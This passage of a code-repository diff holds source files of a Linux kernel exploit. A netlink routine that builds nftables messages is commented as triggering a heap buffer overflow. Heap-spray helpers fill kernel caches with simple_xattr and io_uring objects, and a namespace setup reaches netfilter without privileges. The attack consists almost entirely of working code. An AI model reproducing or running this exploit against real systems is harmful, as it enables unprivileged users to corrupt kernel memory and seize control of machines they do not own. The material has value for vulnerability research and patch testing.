     97 + struct msghdr msg;
     98 + struct sockaddr_nl dest_snl;
     99 + struct nlmsghdr *nlh_batch_begin;
     100 + struct nlmsghdr *nlh_payload;
     101 + struct nlmsghdr *nlh_batch_end;
     102 + struct nfgenmsg *nfm;
     103 + struct nlattr *attr;
     104 + uint64_t nlh_payload_size;
     105 + struct iovec iov[3];
     106 + 
     107 + /* Prepare the netlink sockaddr for msg */
     108 + memset(&dest_snl, 0, sizeof(struct sockaddr_nl));
     109 + dest_snl.nl_family = AF_NETLINK;
     110 + 
     111 + /* First netlink message: batch_begin */
     112 + nlh_batch_begin = get_batch_begin_nlmsg();
     113 + 
     114 + /* Second netlink message : Set attributes */
     115 + nlh_payload_size = sizeof(struct nfgenmsg); // Mandatory
     116 + nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_TABLE
     117 + nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_NAME
     118 + nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_ID
     119 + nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_KEY_LEN
     120 + nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_FLAGS
     121 + nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_DATA_TYPE
     122 + nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_DATA_LEN
     123 + nlh_payload_size = NLMSG_SPACE(nlh_payload_size);
     124 + 
     125 + /** Allocation **/
     126 + nlh_payload = (struct nlmsghdr *)malloc(nlh_payload_size);
     127 + if (!nlh_payload)
     128 + do_error_exit("malloc");
     129 + 
     130 + memset(nlh_payload, 0, nlh_payload_size);
     131 + 
     132 + /** Fill the required fields **/
     133 + nlh_payload->nlmsg_len = nlh_payload_size;
     134 + nlh_payload->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSET;
     135 + nlh_payload->nlmsg_pid = getpid();
     136 + nlh_payload->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE;
     137 + nlh_payload->nlmsg_seq = 0;
     138 + 
     139 +
     140 + /** Setup the nfgenmsg **/
     141 + nfm = (struct nfgenmsg *)NLMSG_DATA(nlh_payload);
     142 + nfm->nfgen_family = NFPROTO_INET;
     143 + 
     144 + /** Setup the attributes */
     145 + attr = (struct nlattr *)((void *)nlh_payload + NLMSG_SPACE(sizeof(struct nfgenmsg)));
     146 + attr = set_str8_attr(attr, NFTA_SET_TABLE, table_name);
     147 + attr = set_str8_attr(attr, NFTA_SET_NAME, set_name);
     148 + attr = set_u32_attr(attr, NFTA_SET_ID, id);
     149 + attr = set_u32_attr(attr, NFTA_SET_KEY_LEN, set_keylen);
     150 + attr = set_u32_attr(attr, NFTA_SET_FLAGS, NFT_SET_MAP);
     151 + attr = set_u32_attr(attr, NFTA_SET_DATA_TYPE, 0);
     152 + set_u32_attr(attr, NFTA_SET_DATA_LEN, data_len);
     153 + 
     154 + /* Last netlink message: batch_end */
     155 + nlh_batch_end = get_batch_end_nlmsg();
     156 + 
     157 + /* Setup the iovec */
     158 + memset(iov, 0, sizeof(struct iovec) * 3);
     159 + iov[0].iov_base = (void *)nlh_batch_begin;
     160 + iov[0].iov_len = nlh_batch_begin->nlmsg_len;
     161 + iov[1].iov_base = (void *)nlh_payload;
     162 + iov[1].iov_len = nlh_payload->nlmsg_len;
     163 + iov[2].iov_base = (void *)nlh_batch_end;
     164 + iov[2].iov_len = nlh_batch_end->nlmsg_len;
     165 + 
     166 + /* Prepare the message to send */
     167 + memset(&msg, 0, sizeof(struct msghdr));
     168 + msg.msg_name = (void *)&dest_snl;
     169 + msg.msg_namelen = sizeof(struct sockaddr_nl);
     170 + msg.msg_iov = iov;
     171 + msg.msg_iovlen = 3;
     172 + 
     173 + /* Send message */
     174 + sendmsg(sock, &msg, 0);
     175 + 
     176 + /* Free allocated memory */
     177 + free(nlh_batch_end);
     178 + free(nlh_payload);
     179 + free(nlh_batch_begin);
     180 +}
     181 + 
     182 +/**
     183 + * add_elem_to_set(): Trigger the heap buffer overflow
     184 + * @sock: Socket used to communicate throught the netfilter netlink
     185 + * @set_name: Name of the set to add the element
     186 + * @set_keylen: Length of the keys of the previous set
     187 + * @table_name: Table associated to the preiv
     188 + * @id: ID of the previous set
     189 + * @data_len: Length of the data to copy. (= Size of the overflow - 16 )
     190 + * @data: Data used for the overflow
     191 + *
     192 + * Submit two elements to add to the set.
     193 + * The first one is used to setup the data payload
     194 + * The second will trigger the overflow
     195 + */
     196 +void add_elem_to_set(int sock, const char *set_name, uint32_t set_keylen, const char *table_name, uint32_t id, uint32_t data_len, uint8_t *data) {
     197 + struct msghdr msg;
     198 + struct sockaddr_nl dest_snl;
     199 + struct nlmsghdr *nlh_batch_begin;
     200 + struct nlmsghdr *nlh_payload;
     201 + struct nlmsghdr *nlh_batch_end;
     202 + struct nfgenmsg *nfm;
     203 + struct nlattr *attr;
     204 + uint64_t nlh_payload_size;
     205 + uint64_t nested_attr_size;
     206 + size_t first_element_size;
     207 + size_t second_element_size;
     208 + struct iovec iov[3];
     209 + 
     210 + /* Prepare the netlink sockaddr for msg */
     211 + memset(&dest_snl, 0, sizeof(struct sockaddr_nl));
     212 + dest_snl.nl_family = AF_NETLINK;
     213 + 
     214 + /* First netlink message: batch */
     215 + nlh_batch_begin = get_batch_begin_nlmsg();
     216 + 
     217 + /* Second netlink message : Set attributes */
     218 + 
     219 + /** Precompute the size of the nested field **/
     220 + nested_attr_size = 0;
     221 + 
     222 + /*** First element ***/
     223 + nested_attr_size += sizeof(struct nlattr); // Englobing attribute
     224 + nested_attr_size += sizeof(struct nlattr); // NFTA_SET_ELEM_KEY
     225 + nested_attr_size += NLA_BIN_SIZE(set_keylen); // NFTA_DATA_VALUE
     226 + nested_attr_size += sizeof(struct nlattr); // NFTA_SET_ELEM_DATA
     227 + nested_attr_size += NLA_ALIGN(NLA_BIN_SIZE(data_len)); // NFTA_DATA_VALUE
     228 + first_element_size = nested_attr_size;
     229 + 
     230 + /*** Second element ***/
     231 + nested_attr_size += sizeof(struct nlattr); // Englobing attribute
     232 + nested_attr_size += sizeof(struct nlattr); // NFTA_SET_ELEM_KEY
     233 + nested_attr_size += NLA_BIN_SIZE(set_keylen); // NFTA_DATA_VALUE
     234 + nested_attr_size += sizeof(struct nlattr); // NFTA_SET_ELEM_DATA
     235 + nested_attr_size += sizeof(struct nlattr); // NFTA_DATA_VERDICT
     236 + nested_attr_size += U32_NLA_SIZE; // NFTA_VERDICT_CODE
     237 + second_element_size = nested_attr_size - first_element_size;
     238 + 
     239 + nlh_payload_size = sizeof(struct nfgenmsg); // Mandatory
     240 + nlh_payload_size += sizeof(struct nlattr); // NFTA_SET_ELEM_LIST_ELEMENTS
     241 + nlh_payload_size += nested_attr_size; // All the stuff described above
     242 + nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_ELEM_LIST_TABLE
     243 + nlh_payload_size += S8_NLA_SIZE; // NFTA_SET_ELEM_LIST_SET
     244 + nlh_payload_size += U32_NLA_SIZE; // NFTA_SET_ELEM_LIST_SET_ID
     245 + nlh_payload_size = NLMSG_SPACE(nlh_payload_size);
     246 + 
     247 + /** Allocation **/
     248 + nlh_payload = (struct nlmsghdr *)malloc(nlh_payload_size);
     249 + if (!nlh_payload) {
     250 + do_error_exit("malloc");
     251 + }
     252 + memset(nlh_payload, 0, nlh_payload_size);
     253 + 
     254 + /** Fill the required fields **/
     255 + nlh_payload->nlmsg_len = nlh_payload_size;
     256 + nlh_payload->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_NEWSETELEM;
     257 + nlh_payload->nlmsg_pid = getpid();
     258 + nlh_payload->nlmsg_flags = NLM_F_REQUEST;
     259 + nlh_payload->nlmsg_seq = 0;
     260 + 
     261 + /** Setup the nfgenmsg **/
     262 + nfm = (struct nfgenmsg *)NLMSG_DATA(nlh_payload);
     263 + nfm->nfgen_family = NFPROTO_INET;
     264 + 
     265 + /** Setup the attributes */
     266 + attr = (struct nlattr *)((void *)nlh_payload + NLMSG_SPACE(sizeof(struct nfgenmsg)));
     267 + attr = set_str8_attr(attr, NFTA_SET_ELEM_LIST_TABLE, table_name);
     268 + attr = set_str8_attr(attr, NFTA_SET_ELEM_LIST_SET, set_name);
     269 + attr = set_u32_attr(attr, NFTA_SET_ELEM_LIST_SET_ID, id);
     270 + attr = set_nested_attr(attr, NFTA_SET_ELEM_LIST_ELEMENTS, nested_attr_size);
     271 + 
     272 + /*** First element ***/
     273 + attr = set_nested_attr(attr, 0, first_element_size - 4);
     274 + attr = set_nested_attr(attr, NFTA_SET_ELEM_KEY, NLA_BIN_SIZE(set_keylen));
     275 + attr = set_binary_attr(attr, NFTA_DATA_VALUE, (uint8_t *)zerobuf, set_keylen);
     276 + attr = set_nested_attr(attr, NFTA_SET_ELEM_DATA, NLA_BIN_SIZE(data_len));
     277 + attr = set_binary_attr(attr, NFTA_DATA_VALUE, (uint8_t *)data, data_len);
     278 + 
     279 + /*** Second element ***/
     280 + attr = set_nested_attr(attr, 0, second_element_size - 4);
     281 + attr = set_nested_attr(attr, NFTA_SET_ELEM_KEY, NLA_BIN_SIZE(set_keylen));
     282 + attr = set_binary_attr(attr, NFTA_DATA_VALUE, (uint8_t *)zerobuf, set_keylen);
     283 + attr = set_nested_attr(attr, NFTA_SET_ELEM_DATA, U32_NLA_SIZE + sizeof(struct nlattr));
     284 + attr = set_nested_attr(attr, NFTA_DATA_VERDICT, U32_NLA_SIZE);
     285 + set_u32_attr(attr, NFTA_VERDICT_CODE, NFT_CONTINUE);
     286 + 
     287 + /* Last netlink message: End of batch */
     288 + nlh_batch_end = get_batch_end_nlmsg();
     289 + 
     290 + /* Setup the iovec */
     291 + memset(iov, 0, sizeof(struct iovec) * 3);
     292 + iov[0].iov_base = (void *)nlh_batch_begin;
     293 + iov[0].iov_len = nlh_batch_begin->nlmsg_len;
     294 + iov[1].iov_base = (void *)nlh_payload;
     295 + iov[1].iov_len = nlh_payload->nlmsg_len;
     296 + iov[2].iov_base = (void *)nlh_batch_end;
     297 + iov[2].iov_len = nlh_batch_end->nlmsg_len;
     298 + 
     299 + /* Prepare the message to send */
     300 + memset(&msg, 0, sizeof(struct msghdr));
     301 + msg.msg_name = (void *)&dest_snl;
     302 + msg.msg_namelen = sizeof(struct sockaddr_nl);
     303 + msg.msg_iov = iov;
     304 + msg.msg_iovlen = 3;
     305 + 
     306 + /* Send message */
     307 + sendmsg(sock, &msg, 0);
     308 + 
     309 + /* Free allocated memory */
     310 + free(nlh_batch_end);
     311 + free(nlh_payload);
     312 + free(nlh_batch_begin);
     313 +}
     314 + 
  • ■ ■ ■ ■ ■ ■
    src/simple_xattr.c
     1 +#include <stdio.h>
     2 +#include <stdlib.h>
     3 +#include <stdint.h>
     4 +#include <string.h>
     5 +#include <sys/xattr.h>
     6 +#include <sys/stat.h>
     7 +#include <errno.h>
     8 +#include <fcntl.h>
     9 +#include <unistd.h>
     10 + 
     11 +#include "log.h"
     12 +#include "simple_xattr.h"
     13 + 
     14 +/**
     15 + * spray_simple_xattr(): Spray the heap with `simple_xattr` objects
     16 + * @spray_size: Number of objects to put into `kmalloc-64`
     17 + */
     18 +void spray_simple_xattr(char *filename, uint32_t spray_size) {
     19 + 
     20 + char command[COMMAND_MAX_LEN];
     21 + char attribute_name[ATTRIBUTE_NAME_LEN];
     22 + 
     23 + /* Mount a new tmpfs to be able to set security xattr */
     24 + if (mkdir("/tmp/tmpfs", S_IRWXU) == -1 && errno != EEXIST)
     25 + do_error_exit("mkdir");
     26 + 
     27 + system("mount -t tmpfs none /tmp/tmpfs");
     28 +
     29 + /* Create a file to the set attributes */
     30 + int fd = creat(filename, 0644);
     31 + close(fd);
     32 + 
     33 + for (uint64_t i = 0; i < spray_size; i++) {
     34 + /* Need that the name is allocated within `kmalloc-256` */
     35 + snprintf(attribute_name, ATTRIBUTE_NAME_LEN, "security.attr%215lu-%s", i, XATTR_DELETION_NAME);
     36 + create_xattr(filename, attribute_name);
     37 + }
     38 +}
     39 + 
     40 +/**
     41 + * create_xattr(): Add an xattribute to a file with the value "value"
     42 + * @filename: Name of the concerned file
     43 + * @attribute_name: Attribute name
     44 + */
     45 +void create_xattr(const char *filename, char *attribute_name) {
     46 + 
     47 + if (setxattr(filename, attribute_name, XATTR_VALUE, strlen(XATTR_VALUE), XATTR_CREATE) < 0)
     48 + do_error_exit("setxattr");
     49 +}
     50 + 
  • ■ ■ ■ ■ ■ ■
    src/uring.c
     1 +#include <stdio.h>
     2 +#include <stdint.h>
     3 +#include <string.h>
     4 +#include <unistd.h>
     5 +#include <syscall.h>
     6 +#include <linux/io_uring.h>
     7 + 
     8 +#include "uring.h"
     9 +#include "log.h"
     10 +#include "util.h"
     11 + 
     12 +/**
     13 + * spray_uring(): Spray different caches of the kernel heap
     14 + * @spray_size: Size to spray
     15 + * @fd_buffer: Buffer used to store information about the allocated objects
     16 + *
     17 + * This spray is mainly used to spray the cache `kmalloc-64` with `percpu_ref_data` objects
     18 + */
     19 +void spray_uring(uint32_t spray_size, struct fd_uring *fd_buffer) {
     20 + 
     21 + for (uint64_t i = 0; i < spray_size; i++) {
     22 + 
     23 + fd_buffer[i].params = malloc(sizeof(struct io_uring_params));
     24 + if (!fd_buffer[i].params)
     25 + do_error_exit("malloc");
     26 + memset(fd_buffer[i].params, 0, sizeof(struct io_uring_params));
     27 + 
     28 + fd_buffer[i].fd = io_uring_setup(SPRAY_NB_ENTRIES, fd_buffer[i].params);
     29 + if (fd_buffer[i].fd < 0)
     30 + do_error_exit("io_uring_create");
     31 + 
     32 + }
     33 +}
     34 + 
     35 +/**
     36 + * release_uring(): Release percpu_ref_data objects allocated
     37 + * @fd_buffer: Buffer that stores io_ring_ctx fds
     38 + * @buffer_size: Size of the previous buffer
     39 + */
     40 +void release_uring(struct fd_uring *fd_buffer, uint32_t buffer_size) {
     41 + 
     42 + for (uint32_t i = 0; i < buffer_size; i++) {
     43 + close(fd_buffer[i].fd);
     44 + }
     45 + free(fd_buffer);
     46 +}
     47 + 
  • ■ ■ ■ ■ ■ ■
    src/util.c
     1 +#define _GNU_SOURCE
     2 +#include <stdint.h>
     3 +#include <stdlib.h>
     4 +#include <sched.h>
     5 +#include <stdio.h>
     6 +#include <errno.h>
     7 +#include <fcntl.h>
     8 +#include <string.h>
     9 +#include <sys/utsname.h>
     10 + 
     11 +#include "log.h"
     12 +#include "util.h"
     13 + 
     14 +/**
     15 + * write_file(): Write a string into a file
     16 + * @filename: File to write
     17 + * @text: Text to write
     18 + */
     19 +void write_file(const char *filename, char *text) {
     20 + 
     21 + int fd = open(filename, O_RDWR);
     22 + 
     23 + write(fd, text, strlen(text));
     24 + close(fd);
     25 +}
     26 + 
     27 +/**
     28 + * new_ns(): Change the current namespace to access to netfilter and
     29 + * to be able to write security xattr in a tmpfs
     30 + */
     31 +void new_ns(void) {
     32 + 
     33 + uid_t uid = getuid();
     34 + gid_t gid = getgid();
     35 + char buffer[0x100];
     36 + 
     37 + if (unshare(CLONE_NEWUSER | CLONE_NEWNS))
     38 + do_error_exit("unshare(CLONE_NEWUSER | CLONE_NEWNS)");
     39 + 
     40 + if (unshare(CLONE_NEWNET))
     41 + do_error_exit("unshare(CLONE_NEWNET)");
     42 +
     43 + write_file("/proc/self/setgroups", "deny");
     44 + 
     45 + snprintf(buffer, sizeof(buffer), "0 %d 1", uid);
     46 + write_file("/proc/self/uid_map", buffer);
     47 + snprintf(buffer, sizeof(buffer), "0 %d 1", gid);
     48 + write_file("/proc/self/gid_map", buffer);
     49 +}
     50 + 
     51 +/**
     52 + * set_cpu_affinity(): Pin a process to a CPU
     53 + * @cpu_n: CPU to use
     54 + * @pid: pid of the process to attach
     55 + */
     56 +void set_cpu_affinity(int cpu_n, pid_t pid) {
     57 + cpu_set_t set;
     58 + 
     59 + CPU_ZERO(&set);
     60 + CPU_SET(cpu_n, &set);
     61 + 
     62 + if (sched_setaffinity(pid, sizeof(set), &set) < 0)
     63 + do_error_exit("sched_setaffinity");
     64 +}
     65 + 
     66 +/**
     67 + * generate_tmp_filename(): Generate a filename to be used with
     68 + * the xattr spray
     69 + *
     70 + * Return: New generated filename
     71 + */
     72 +char *generate_tmp_filename(void) {
     73 + static char buffer[FILENAME_MAX_LEN];
     74 + static uint64_t counter = 0;
     75 + 
     76 + snprintf(buffer, FILENAME_MAX_LEN, "/tmp/tmpfs/file%lu", counter);
     77 + counter++;
     78 + 
     79 + return buffer;
     80 +}
     81 + 
Please wait...
Page is in error, reload to recover